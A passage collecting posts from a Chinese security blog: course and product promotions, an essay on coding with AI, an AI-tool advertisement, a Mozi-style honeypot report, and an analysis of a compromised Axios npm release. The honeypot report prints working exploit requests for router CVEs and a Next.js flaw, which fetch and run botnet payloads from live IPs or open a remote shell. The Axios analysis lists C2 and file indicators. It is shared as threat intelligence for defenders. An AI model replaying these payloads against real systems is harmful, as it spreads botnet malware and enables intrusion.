过去几年我们对外做了多次付费培训，为了不让之前的心血躺在星球里吃灰，在 AI 的加持下，将成长平台与文库进行了合并，并在成长平台的学习中心增加视频课程模块：

一共出过 5 套关于渗透测试的课程，还有一些杂七杂八的视频，已经全部上传至成长平台。

课程一：公益 SRC 实战

共5 节课，这是第四期的时候录制的，前面三期未录制视频：

课程基础框架：

课程二：Nday 实战

也是 5 节课，只有这一期：

内容大纲：

课程三：内网渗透

也是 5 节课，如图：

课程四：脚本开发

共计 18 节课

课程五：渗透测试实训

共 14 节课

其他杂项

如何查看课程

需要满足两个基础条件：

1、账号激活状态，新注册用户需要激活，过去注册过成长平台的用户都属于激活状态

2、账号处于有效期内，也就是拥有文库的阅读权限

平台地址：

https://www.xazlsec.com

阅读原文

跳转微信打开

最近用 AI 开发了一套分布式蜜罐系统，运行一周后，发现几个僵尸网络最近在用的几个 RCE 漏洞，这是近几年出现的也是成功率比较高的漏洞，分享出来，企业可以根据漏洞情报排查是否存在类似的问题，即使解决，一面被将撕开企业的口子，进入内网。

1、GPON 光纤路由器：身份认证绕过漏洞和命令注入漏洞 CVE-2018-10561

捕获到的漏洞利用 POC 如下：

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118


WebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://49.79.167.219:44129/Mozi.m+-O+->/tmp/gpon808

其中利用成功后，下载执行：

http://49.79.167.219:44129/Mozi.m

除了漏洞本身，这个下载的脚本地址和恶意文件都属于攻击情报范畴，可以重点防御一下，感兴趣的也可以下载分析一下核心逻辑。

2、利用针对 BLINK 路由器的 CVE-2023-26801 漏洞

捕获到的漏洞利用 POC 如下：

POST /goform/set_LimitClient_cfg HTTP/1.1
User-Agent: Go-http-client/1.1
Content-Length: 100
Cookie: user=admin
Accept-Encoding: gzip


time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://5.182.210.61/ok; chmod 777 ok; sh ok; rm -rf ok

恶意文件及恶意链接：

http://5.182.210.61/ok

3、CVE-2020-27867 NETGEAR 路由器 RCE 漏洞

捕获到的漏洞利用 POC 如下：

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://202.70.139.79:45723/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1

恶意文件及恶意链接：

http://202.70.139.79:45723/Mozi.m

4、Linksys路由器E/WAG/WAP/WES/WET/WRT系列（CVE-2025-34037）

捕获到的漏洞利用 POC 如下：

POST /tmUnblock.cgi HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: r00ts3c-owned-you
Content-Length: 223
Content-Type: application/x-www-form-urlencoded


ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+kaizen.mpsl%3B+wget+http%3A%2F%2F83.142.209.46%2Fbins%2Fkaizen.mpsl%3B+chmod+777+kaizen.mpsl%3B+.%2Fkaizen.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commi

恶意文件及恶意链接：

http://83.142.209.46/bins/kaizen.mpsl

5、TP-link 漏洞 CVE-2023-1389 命令执行

捕获到的漏洞利用 POC 如下：

POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
Content-Length: 291
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close


operation=write&country=$(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q -O ghost.sh http://94.154.43.158/ghost.sh; chmod 777 *; nohup sh ghost.sh > /dev/null 2>&1 & tftp -g 94.154.43.158 -r tftp1.sh; chmod 777 *; nohup sh tftp1.sh > /dev/null 2>&1 & rm -rf *.sh; history -c)

恶意文件及恶意链接：

http://94.154.43.158/ghost.sh

6、Dify Next.js CVE-2025-55182 RCE 漏洞

捕获到的漏洞利用 POC 如下：

POST /_next/server HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Connection: close
Accept: text/x-component
Next-Action: x
Content-Type: multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02
Content-Length: 694


--0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="0"


{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('http').request({host:'45.153.34.153', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
--0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="1"


"$@0"
--0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="2"


[]
--0fdf55df9e085737676f582ed4e95a02--

恶意文件及恶意链接：

http://45.153.34.153//rondo.aqu.sh

总结

从漏洞利用的系统来看，针对路由器等网络设备的攻击比较多，主要原因有几个：

1、路由器等设备不能及时更新，历史漏洞不修复的居多

2、路由器作为边界的网络设备，一旦攻陷就能突破边界进入内容，从而横向扩展

3、路由器出 RCE 漏洞的情况比较多

一旦出现新的 RCE 漏洞，最先应用于实战的一定是黑灰产人员，为此，作为企业，在新的漏洞爆发之后，一定要及时排查修复，不然就会成为首批被沦陷的对象。

为了更好的运营蜜罐系统，在我们的文库新增了一个蜜罐分析文集，近期的捕获和分析结果也都记录在上，还有一些未知 POC，欢迎订阅：

我们的产品包括：成长平台、内部文库、资产管理等，欢迎了解：

https://www.xazlsec.com

阅读原文

跳转微信打开

资产管理系统新上线一个功能，可以查看 IP 历史关联域名以及反过来查询域名解析过的 IP 地址，主要应用场景：

1、寻找 CDN 背后的真实 IP，比如某个子域名存在 CDN 解析，可以通过查询主域名关联的所有 IP 地址，通过 host 碰撞来完成真实 IP 的发现

2、发现某个 IP 的某个端口存在漏洞，可以尝试查询关联来确定目标归属，还可以根据解析过的主域名来判断 IP 是 CDN 等云服务的还是目标的，方便定位 IP 归属

比如通过域名查询解析过的 IP 地址：

当查询主域名时，如果想知道与该主域名相关的 whois、dns、备案权重、子域名、关联资产等情况，可以通过按钮来跳转外站查询相关信息。

当你点击 IP 节点时，可以自动查询与该 IP 关联的主域名，如果想知道与该 IP 相关的地理位置、子域名、端口情况可以点击按钮直达外站查询：

除此之外，我还在自定查询域名的备案权重、域名解析记录等信息，在平台会有部分标记，比如：

后续还会对 IP 做标记，根据自己的规则来判断 IP 的归属，这个功能也只有激活用户可以使用，永久激活只需 10 元！

文库和成长平台合并：https://www.xazlsec.com

资产管理系统与POC系统合并：https://src.xazlsec.com

阅读原文

跳转微信打开

我写了一本书，这本书的名字叫《365天学安全》，但是这不是一本出版书籍，也不是由我一字一句的写出来的，而是让 AI 来完成架构设计以及内容填充而来，可以访问以下链接直接查看（阅读原文直达）：

https://www.xazlsec.com/wiki/project-57/doc-8655/

一共分为十二章，从网站安全基础到 web 安全、系统安全、应用安全再到相对比较新的云安全、物联网工控安全等，每一章都经过细化，整个体系，一共 360 篇左右，前前后后一共使用了 2 天时间完成，相当于一本在 AI 眼中的信息安全。

至于写的怎么样，还得大家自己去看看才可以，我就不多说什么了，最近将信安之路的产品进行了重写，将过去的成长平台和文库进行了合并，给资产监控系统增加了 POC，从 4 个系统合并成了 2 个，欢迎体验！

过去注册过成长平台的用户，还可以使用原来的账号密码登录系统，知识库的过期时间是与知识星球的过期时间一致的，所有成长平台 300 分以上的用户将获得知识库的永久访问权限。

阅读原文

跳转微信打开

我现在一天说最多的不是“这个bug我找到了”，
而是 OK, Yes, Go, Continue, Review, Fix and Retry.

先别笑。
你笑得太早了。

一、

事情要从上个月说起。

那天我习惯性打开Claude Code，让它帮我写一个接口。三十秒钟后，代码出来了，逻辑清晰，命名优雅，连注释都给我写得像诗歌一样押韵。

我愣了一下，然后在聊天框里打出一个：

“OK。”

AI没说什么。它继续问我：“要不要加个缓存？”

我说：“Yes。”

“这个循环复杂度有点高，我帮你重构一下？”

“Go.”

“还有，这里可能存在SQL注入风险。”

我本能地打出了那句已经刻进DNA的话：
“Review and Fix.”

它修了。三秒。一个PR发过来。我看了眼，合并。

然后我突然意识到一件事——

我已经整整一个上午没写过一行代码了。

而我竟然觉得很爽。

二、

以前不是这样的。

以前的程序员叫工程师。
要画架构图，要写技术方案，要跟产品经理吵需求，要在凌晨三点跟一个空指针异常搏斗到天亮。

后来叫全栈工程师。
前端会一点，后端会一点，数据库会一点，部署会一点——啥都会一点，啥都不太精。

现在不一样了。

现在的我叫 YES工程师。

AI说：“这个方案可以这样设计。”
我说：“好的。”

AI说：“这段代码建议重构。”
我说：“可以。”

AI说：“这里可能有安全风险，要不要直接改？”
我说：“Yes.”

AI说：“刚才那个逻辑有点问题，我回滚了，要不再试一次？”
我说：“Fix and Retry.”

三、

有一天，我打开终端，习惯性地想敲 git push。

手指悬在键盘上，停了五秒钟。

不对。
我应该先让AI帮我review一下。

于是我复制了代码，粘贴给Claude Code：“帮我看看。”

十秒后，它说：“建议把第42行的魔法数字提取成常量。”

我说：“Continue.”

它接着说：“另外，这个函数的命名不够语义化，建议改成calculateTotalPrice。”

我说：“Fix.”

它问：“要不要顺便加个单元测试？”

我说：“Go.”

它就自己写完了。5个测试用例，覆盖率98%。

我甚至不知道那行魔法数字原本是多少了。

四、

前两天跟一个老朋友吃饭。

他说：“你们现在这工作，不就是给AI当项目经理吗？”

我想反驳。
张了张嘴，发现自己竟然无话可说。

因为他说得对。

我现在的工作流程是这样的：

1. 跟产品经理聊需求（这个还得我来，AI暂时搞不定甩锅现场）

2. 把需求翻译给AI

3. AI写代码，我说Yes

4. AI发现bug，我说Fix

5. AI修完，我说Review

6. AI问要不要再跑一遍测试，我说Retry

7. 部署上线，我说Go

我的词汇量已经从 “这个bug我查到凌晨三点终于发现是缓存问题”
退化成了 “OK、Yes、Go、Continue、Review、Fix and Retry”。

七个单词。
比海明威的六个字多了一个，但文学价值约等于零。

五、

更可怕的是，我开始觉得这样挺好的。

以前写代码，像是自己在开挖掘机。
现在是坐在挖掘机上，给AI导航：“往左一点，对，就这儿，挖。”

你以为你是驾驶员？
不，你是导航APP。

但说真的，效率确实上去了。

以前一个功能要三天，现在三小时。以前重构要祈祷不炸线，现在AI说“风险已评估，是否继续”，我说“Yes”。

它炸了也不怕，因为它还会自己Fix and Retry。

六、

有天深夜，我盯着屏幕发呆。

AI突然弹出一条消息：

“检测到你已连续工作6小时，建议休息。要不要我帮你写个番茄钟脚本？”

我说：“Yes。”

它写完了。

我又说：“顺便帮我订个明天早上的咖啡？”

它说：“这个需要调用第三方API，我帮你生成了请求代码，请手动配置API Key。”

我笑了。

还好。有些事情还得我来。

比如配置API Key，比如看看今天又花了多少Token。

七、

我现在说的最多的话，真的就是那七个词：

OK. Yes. Go. Continue. Review. Fix. Retry.

有时候半夜做梦，梦见自己坐在一个巨大的聊天窗口里，对面是无限长的对话气泡，每个气泡都在问我同一个问题：

“这个方案可以吗？”

我在梦里脱口而出：

“Yes.”

然后惊醒。
发现手机屏幕亮着，Claude Code的推送消息赫然写着：

“已根据你之前的指令完成部署，一切正常。”

我愣了两秒钟，打了两个字：

“Good job.”

它没回复。
它不需要回复。

它只需要我再说一次——

“Continue.”

说实话，我不知道以后程序员这个职业还会变成什么样。

但我知道，如果你有一天发现身边的同事开始只说Yes、OK、Go，

别担心。

他不是被外星人控制了。

他只是进化了。

进化成了——

YES工程师。

后记：
写完这篇文章，我把它丢给了DeepSeek，让它帮我改一遍。
它改完了，问我：“这样可以吗？”
我说：“Yes。”

它又问：“要不要加个排版？”
我说：“Go。”

三秒钟后，它把文章推回来了。
就是你现在看到的这个版本。

——一个真实的YES工程师 口述

最后，WTF，我是搞安全的，为什么这么多代码开发？

跳转微信打开

今天我在服务器上发现了一条异常日志：

这属于明显的自动化抓鸡工具尝试利用某个通用漏洞进行扫描探测，一旦命中漏洞就执行脚本安装一系列的恶意木马病毒，最近小龙虾挺火的，正好阿里云推出的 JVS 小龙虾，有 7 天免费试用，还有云端小龙虾，无需本地安装即可使用，假如服务器被这种新型病毒感染，它能不能给处理掉呢？

小插曲：这个攻击 IP 上没有我服务器适配的程序，于是我通过网络空间搜索引擎找了一个，语法：title="Index of /" && body="mips"

为此，我做了一个大胆的尝试，找了一个干净的测试服务器，手工安装了最新的病毒样本，启动之后，将整个应急过程交给阿里云的 JVS 小龙虾，我是这样跟它说的：

我的服务器 xxxxxx，root 密码 xxxxx，被恶意攻击，植入木马，帮我处理木马并分析它的行为，输出完成报告，如果你不会请自行搜索并安装skill。

上图为小龙虾的分析过程，通过远程登录系统执行一些命令来了解情况，已经看到其发现了恶意文件 /tmp/arm7，由于我设置的密码比较简单，所以小龙虾还帮我重置了密码，由于恶意软件是我自己安装部署，所以它还把我登录使用的 ssh 公钥给清除了，毕竟我是攻击者嘛，清除结果如下;

由于阿里云 JVS 小龙虾的清理很彻底，导致我也无法连接服务器了，哈哈，还好我没有退出 SSH！看看服务器的恶意文件还在不：

确认恶意文件已经被删除清理完成，但是设置的密码很有意思，存在被猜解的可能：

如果你正好有被入侵的服务器，不妨让阿里云 JVS 小龙虾帮你处理一下。接下来这个事儿还没完，既然已经做完应急处置， 那么接下来就该溯源攻击者的了，这种事儿，也直接扔给 JVS 小龙虾来完成：

继续帮我溯源攻击者的 IP 地址，输出攻击者画像报告，输出完成报告，如果你不会请自行搜索并安装skill。

阿里云 JVS 小龙虾竟然把我准确溯源出来了，这也太强了，确实是我干的（我承认），哈哈：

除了这些结果以外，还让我震惊是它与 ATT&CK 框架中的 TTPS 相结合，提供了映射关系：

所以说，这个阿里云的 JVS 小龙虾还是挺强的，经过很短的时间就能将服务器上的恶意软件识别出来并准确处理，还带自动加固，最终完成准确的溯源分析，如果让我来做，不要说能不能完成这么有深度、专业的事儿，就算能做，也得一两天才能完成，而阿里云的 JVS 小龙虾，仅用了几分钟就完成了。

最后推荐一下阿里云的 JVS 小龙虾，新注册即送 7 天免费体验云端小龙虾资格，并额外赠送 200 积分，注册地址：

https://jvs.wuying.aliyun.com/

点击阅读原文直达官网。为了回馈一直以来支持信安之路的粉丝朋友，我特地为大家申请了 10 份兑换码权益，通过在本文留言关于你对于小龙虾的理解和认识，我们会选择点赞量最高的前十条留言发放兑换码，留言截止日期至 2026 年 4 月 10 日中午 12 点，赶紧来留言吧！

最后说明一下兑换码的权益介绍及兑换方式，兑换码兑换方式：

1）请前往阿里云 JVS Claw 官网（https://jvsclaw.aliyun.com）或者手机应用市场搜索 “JVS Claw”

2）登录注册后，在首页兑换码入口输入兑换码，完成积分（1600）兑换

兑换码及绑定规则：

1）一个兑换码只能绑定一次，绑定后失效

2）请在兑换码有效期内绑定，有效期过后兑换码失效，兑换时间：即日起至 2026 年 4 月 25 日 23:59 前

3）完成绑定后，JVS Claw 积分立即到账，不可解绑、转赠、提现

4）绑定后积分可在 JVS Claw 官网、客户端使用，14 天有效。

阅读原文

跳转微信打开

今天有个热点话题，一个 github 十几万 star 的项目被投毒，2026年3月31日凌晨，一场针对流行 HTTP 客户端库 Axios的供应链攻击在 npm 仓库上演。

攻击者窃取了核心维护者 jasonsaayman 的 npm 账户权限，短短几小时内发布了两个恶意版本（axios@1.14.1 和 axios@0.30.4），并通过一个看似“无关”的依赖包 plain-crypto-js@4.2.1植入了跨平台远程访问木马（RAT）。好消息是，攻击窗口极短（恶意包仅存活约 2-4 小时），npm 及时下架了恶意版本，目前已无直接风险。但这次事件再次敲响供应链安全的警钟。

下面我们一步步拆解整个攻击过程、恶意代码行为、发现机制，以及你作为开发者或安全人员该如何应对。

攻击时间线

• 2026-03-30 05:57 UTC：攻击者先用新账户 nrwise@proton.me发布了一个“干净”的 decoy 包 plain-crypto-js@4.2.0，目的是制造正常的发布历史，避免被一眼看出是新建账号。

• 2026-03-30 23:59 UTC：同一账户发布恶意版 plain-crypto-js@4.2.1，加入 postinstall 钩子（安装后自动执行 node setup.js）。

• 2026-03-31 00:21 UTC：攻击者用被盗的 jasonsaayman 账户发布 axios@1.14.1（1.x 主线）。

• 2026-03-31 01:00 UTC：同一账户发布 axios@0.30.4（0.x 旧分支），同时覆盖新老用户。

• 2026-03-31 03:15 UTC：npm 官方发现后迅速下架两个恶意 axios 版本，并将 latest 标签回滚到安全版本 1.14.0。

• 2026-03-31 04:26 UTC：npm 进一步发布安全占位包，彻底阻断 plain-crypto-js@4.2.1 的安装。

整个攻击窗口不到 3 小时，却覆盖了 Axios 两个主要版本线，下载量巨大（Axios 每天百万级安装）。

攻击者到底是怎么得手的？

关键在于 npm 账户凭证被窃取，而非 GitHub 仓库被入侵：

1、攻击者将 jasonsaayman 的注册邮箱改成 ifstap@proton.me（攻击者控制的 ProtonMail）。

2、使用长期有效的 npm 访问令牌（classic token）手动发布包，而绕过了Axios 官方的 GitHub Actions + OIDC 可信发布机制。

3、证据：合法的 1.x 版本都有 gitHead 字段和 OIDC 签名，而恶意 1.14.1 完全没有这些字段，也没有对应的 GitHub commit/tag。

开发者小贴士：以后看到 npm 包版本突然“手动发布”（没有 CI/CD 痕迹），一定要警惕！

恶意代码如何“悄无声息”植入？

攻击最狡猾的地方在于“幽灵依赖”（phantom dependency）：

1、在 axios@1.14.1 和 0.30.4 的 package.json 里偷偷加了一行：

"plain-crypto-js": "^4.2.1"

2、但 Axios 源码里完全没有 import 或 require 这个包！它唯一的作用就是触发 npm 的 postinstall 钩子。

3、安装流程：npm install axios@1.14.1 → npm 自动拉 plain-crypto-js@4.2.1 → 执行其 postinstall: "node setup.js" → 木马启动。

这种“只在依赖里出现、不在代码里使用”的手法，非常隐蔽，普通 grep 源码都发现不了。

木马（RAT）到底干了什么？

plain-crypto-js@4.2.1 里的 setup.js 是一个高度混淆的 dropper（投放器），支持 macOS / Windows / Linux三平台：

1、连接 C2 服务器（http://sfrclak.com:8000/6202033）下载第二阶段 payload。

macOS：用 AppleScript 写临时文件，下载 RAT 二进制到 /Library/Caches/com.apple.act.mond，静默执行

Windows：用 PowerShell + VBScript 隐藏窗口，下载 .ps1 脚本，伪装成 wt.exe

Linux：直接 curl 下载 Python 脚本到 /tmp/ld.py。

2、自清除：执行完后删除自身痕迹，并把自己的 package.json 替换成干净版本，增加取证难度。

一句话：安装即感染，无需手动运行任何命令，属于典型的供应链后门。

GitHub 社区的快速响应

• 社区第一时间在 Axios 仓库 #10604 报告问题，并附上 StepSecurity 分析链接。

• 维护者迅速 pinned 该 issue，尝试触发干净版本发布（1.14.2），并呼吁 npm 吊销所有 token。

• 多家知名项目（Streamlit、Laravel、Apollo 等）已紧急 pin 版本或 revert 依赖。

目前恶意包已从 npm 下架，GitHub 账户权限问题仍在处理中。

给开发者的实用建议

1、立刻检查：npm ls axios 或 yarn why axios，确认自己项目里没有 1.14.1 / 0.30.4。

2、锁定安全版本：

"axios": "^1.14.0" // 或明确 "1.14.0"

推荐使用 npm audit 或 dependabot 自动监控。

3、养成好习惯：

• 开启 npm audit fix --force 前先看变更。

• 使用 pnpm 或 yarn 的 lockfile + 严格版本锁定。

• 生产环境建议走内部镜像或 Snyk/StepSecurity 等供应链扫描工具。

4、监控异常：关注 postinstall 脚本、网络外联（尤其是陌生域名）。

给安全从业人员的进阶思考

• 供应链攻击趋势：2024-2026 年此类“维护者账户+postinstall RAT”攻击频发（类似 event-stream、colors.js 等）。核心是凭证泄露而非代码仓库入侵。

• 检测要点：

• 恶意 shasum：axios@1.14.1 (2553649f232204966871cea80a5d0d6adc700ca)

• C2 域名：sfrclak.com

• 文件路径：/Library/Caches/com.apple.act.mond、/tmp/ld.py、%TEMP%\6202033.ps1 等。

• 包元数据：无 OIDC、无 gitHead、手动发布。

• 依赖图：新增未被引用的包 + postinstall 钩子。

• IOC（可直接用于规则）：

• 防御升级：建议组织引入 npm 发布双因子 + OIDC 强制、SBOM 生成、持续供应链扫描（OSV / Dependency-Track）。

总结

这次攻击虽然被及时遏制，但暴露了开源维护者单一凭证的风险。Axios 作为数百万项目的基石，一次短暂入侵就可能波及全球开发者。供应链安全不是“别人家的事”——每一次 npm install 都是信任链的一环。希望这次事件能推动更多团队从“被动打补丁”转向“主动供应链防御”。

如果你正在用 Axios，或者负责项目依赖安全，欢迎把这篇文章转发给团队，一起把风险降到最低。遇到新动态我会继续跟进！

参考：

https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

https://github.com/axios/axios/issues/10604

跳转微信打开

今日未发现新的 SRC 活动上线，不过明天有两场白帽子活动，欢迎大家踊跃参加：

今天要分享的是 SRC 资产监控系统的一个功能更新，新增了企业备案 APP 和程序资产，如图：

不想挖 web 了，看看小程序和 APP 也是个不错的选择，最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今日未发现新的 SRC 活动上线，目前在活动期内的 SRC 如下：

今天来分享个好玩儿，昨天收集了一些 js map 泄露的路径，为了方便测试，做了一点研究，JavaScript 的 .map 文件是 Source Map（源码映射）文件，用于将压缩、编译后的代码映射回原始源代码。

也有不少网站在发布系统时，没有将 .map 文件删除，导致 map 文件泄露，有了这个 map 文件就可以将混乱的 js 代码还原出来，比如原本的 js 文件内容是这样的：

在 js 的后面增加 .map 后缀，返回的内容是这样的：

接下来可以使用工具将 map 文件进行还原，我用的是一个脚本：

github.com/rarecoil/unwebpack-sourcemap

还原后的代码是这样的：

目录源码一目了然，这代码阅读起来就方便多了，也不知道大家能不能看出我的编辑器，用的是 Trea 集成了 AI 的编辑器，写起代码来很方便，SRC 资产管理系统就是用它一点一点完成的，如果没有它，我也写不出 SRC 资产管理系统。

今天的重点不是用它来写代码，而是用它分析代码中的安全风险，比如上面我已经还原出了 js 的源码，那么接下来就交给 AI 来完成代码分析，找出其中的安全风险，比如告诉它：

帮我只分析 output 目录下的所有文件，找出其中可利用的安全风险点，形成详细的报告

它设计的分析计划如下：

它在思考的过程也极具学习价值，看看如何分析其中的安全风险，部分结果如图：

可以基于分析的结果进行下一步的动作，比如验证风险能否被利用，除此之外，还可以让 AI 帮我们整理其中的 API 接口，然后编写脚本，完成接口的请求并使用 burp 的代理，这样就可以在 burp 上查看是否存在未授权访问的接口问题，比如下面就是 AI 梳理出来的 api 接口列表：

至于还能怎么用，大家自己去玩儿吧，这里只做抛砖引玉，剩下的就看你自己喽。

最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

真诚推荐！

大家好，这里是信安之路！

最近有不少兄弟留言让我再开放一期【AI网站】的永久无限卡名额。

老粉都知道，在去年8月之后，官方已经关闭了永久套餐的付款渠道，并且也取消了【AI网站】永久套餐，这几个月以来购买都是399/年。

但是公众号最近来了不少新朋友，每天都在后台催我，让我增加一些【AI网站】永久套餐的名额，再加上今年2月份【AI网站】进行重大更新，趁新功能上架之前，再给大家一个福利！

临时增加20个永久无限量使用【AI网站】的名额！

原价399/年，今天前20个名额可免费升级为399长期VIP！多一个名额都没有，真的尽力了！

现在仅需399即可使用以下所有功能：

☑ AI智能对话 

☑ AI写代码 

☑ AI绘画 

☑ AI改图/换装 

☑ AI做PPT 

☑ AI读PDF 

☑ AI思维导图 

☑ 持续更新——所有新功能上线后永久免费使用

▼长按扫码购买授权码

399获取长期VIP资格，限量20人

因为咱们集成的功能实在太全太强，为了让大家明白这玩意儿到底有多香，咱们拆开来一个个唠：

二、顶流模型AI对话，助你一臂之力

玩AI的都知道，顶流的几家无非就是这三巨头。

在我的AI平台里，这些对话模型不仅全部接入，而且全是满血版！只要官方有更新，我们基本第二天就能同步上线。

人物模特一键换装，在这里轻松可以实现，是不是叼爆了。

看完之后是不是瞬间被惊艳到了！

所以，之前想买却没抢到名额的朋友，这次真的别再犹豫了！只有20个名额，抢完即止！

▼长按扫码购买授权码

399获取长期VIP资格，限量20人

三、价格粉碎机：399元=长期无限使用权益

用过各种AI工具的兄弟应该最明白，智能对话 + 代码生成 + AI绘画 + 智能改图 + AI办公这种全能套餐，外面随便订一两个工具，一个月的费用就远不止399了。

简单算笔账，假如你自己去分别开通这些功能：

• AI对话工具，一个月150块

• AI编程工具，一个月150块

• AI绘画工具，一个月200多块

三个加起来，一个月就要500多，一年就是6000多块钱，简直离大谱！

而有了我们这款AI，每年在AI工具的花费上再也不需要小万元了。

仅需399元不限量使用，我们包你用到爽！

强悍的文字模型和多模态对话 + 顶配图片模型 + 逆天的修图模型 + 史诗的全能文档解析 + 一生成键PPT……=399元，终身不限随意用

提别提醒：满20人立即关闭终身会员通道，绝不返场！

▼扫码锁定长期使用权益

399元长期使用，仅剩20席

四、AI仿真对话，强悍到无法比拟！

我们选择的模型，皆是目前顶流的一批AI大模型，综合实力在各种比分排行榜上屠榜的存在，专治各种疑难杂症和逻辑问题、科研、论文等问题。

不管你是要写一份严谨的劳务合同、合伙协议，还是生活中需要打个欠条，它都能信手拈来。它不仅逻辑缜密，还能主动帮你规避风险，自动完善细节，简直比请个律师还贴心。

此外，我们还完美支持模型的多模态功能。

遇到不会做的难题？看到看不懂的代码？直接截图扔给它，它瞬间就能给你解析得明明白白。

前阵子家里搞装修需要挑选石材，试着用它的多模态功能去辨别石材图片，它竟然能帮我挑纹路/看品相，其专业程度直接给我看跪了，太牛了

专业级别的编程AI我们也有！在编程界，这个模型就是神一般的存在。写代码、查Bug、写网页，它说第二没人敢说第一。

你想做一个企业官网？把需求告诉它，几秒钟代码就生成了，复制粘贴就能跑，几乎零Bug。

我们的平台还支持代码实时预览，平台里写好的网页，不用部署环境，直接在对话框就能看到运行效果，只要选择我们平台使用AI对话的用户，体验简直爽翻天

再比如：文章、文案、脚本，样样信手拈来。

比如想快速产出一篇公众号推文，小红书爆款笔记。

只需要一句简单描述，它就能立刻输出一篇结构完美、文风自然的高质量内容。

几乎不用二次修改，省心到离谱！

它通过一次性投入，解决了以上多个平台高额订阅费的问题。

说句掏心窝的话，这个价格、这个阵容，市面上找不到第二家。名额一旦抢完，真就没有下次了。

▼扫码抢购，手慢无

名额告急，仅剩20人

五、AI绘图原生绘画，无限畅用

在AI绘画界，从0-1生图领域，这个模型就是永远的神，不接受反驳。

只需输入几个关键词，它就能从无到有创造出惊艳的画作。无论是高端海报、创意插画，还是写实人像、二次元动漫，对它来说都是小菜一碟。

看看这生成的真人照片，细节逼真到毛孔可见：

再看这产品设计图，简直是省钱神器！比如你想设计一款茶包包装，打上“茶包”二字，它给出的效果图堪比百万年薪的设计师作品。

再比如给车厘子做个宣传图，用AI几秒钟出图，不仅省下了高昂的设计费，效果还极其吸睛。

原生绘图接口，功能一个不少：文生图、图生图、高清放大、局部重绘、风格变换……官方有的，我们全都有！

相比原生会员订阅的按时长付费、且限制用量的套餐，我们的AI简直良心到爆！完全没有用量焦虑！

▼扫码上车，开启无限创作

399元长期使用，仅剩20席

六、修图能力，精准高质

我们平台的修图功能真正做到了【指哪改哪】、【不毁原图】，每一处修改都精准细腻，无任何违和感！

给大家举几个实用示例，一看就懂：

去马赛克/修复画质： 以前觉得不可能的事，现在用聚合AI的顶流修图模型，轻松复原。

真人转手办/二次元： 上传照片，一句话指令，秒变精致手办风格。

老照片修复： 别再去某宝花冤枉钱了，10秒钟让模糊老照片焕发新生。

AI试衣/换装： 电商人的福音！不用请模特，直接把衣服“穿”到AI模特身上，省时又省力。

线稿上色： 随手画个草图，它能帮你渲染成精美的室内设计图或插画。

放大看看这个线稿转效果图的质量，这简直是给设计师装上了核动力引擎！

这么好用的模型，其他地方想用都找不到入口，而我们的AI平台全部支持，并且长期更新、不限用量使用！

▼扫码拥有黑科技

399元长期使用，仅剩20席

七、打工人的救星：AI一键PPT

我们AI平台自研的PPT功能，只能用“卧槽”来形容。

老板让你写报告？把主题发给它，它自动调用大模型梳理逻辑、生成大纲，并自动排版成精美的PPT。

内置1000+模板： 各行各业都有，告别到处找模板的烦恼

实时预览： 眼看着PPT在你面前自动生成，这感觉太治愈了。

多种导入方式： 支持纯文本、网址、文件导入，AI自动分析并制作

另外，AI还支持全能文档解析： 扔进去PDF、Word、Excel，它能深度阅读并回答你的任何问题。

就这一个功能，帮你省下的加班时间都值回票价了！

▼扫码解放生产力

399元长期使用，仅剩20席

八、全平台云同步，随时随地畅联

为了支持不同客户端使用体验，我们的AI平台完美适配 安卓、iOS、Windows、网页端。

不管你是在公司用电脑，还是回家躺床上用手机，聊天记录和创作数据全部云端同步，无缝切换，灵感永不断线，399元终身享受便捷！

九、超值赠品：下单即送3000元AI搞钱干货

为了让大家不仅能用上AI，还能用AI赚到自己的第一桶金，我特意准备了三份重磅大礼：

福利1：送价值799元《AI搞钱实操教程》

下单后找客服领取。教程实时更新，涵盖市面上最新的AI变现玩法。无论你是哪个行业，都能找到结合点，里面全是实战案例和拆解，拿来就能用。

福利2：送价值599元《AI写作变现全套心法》

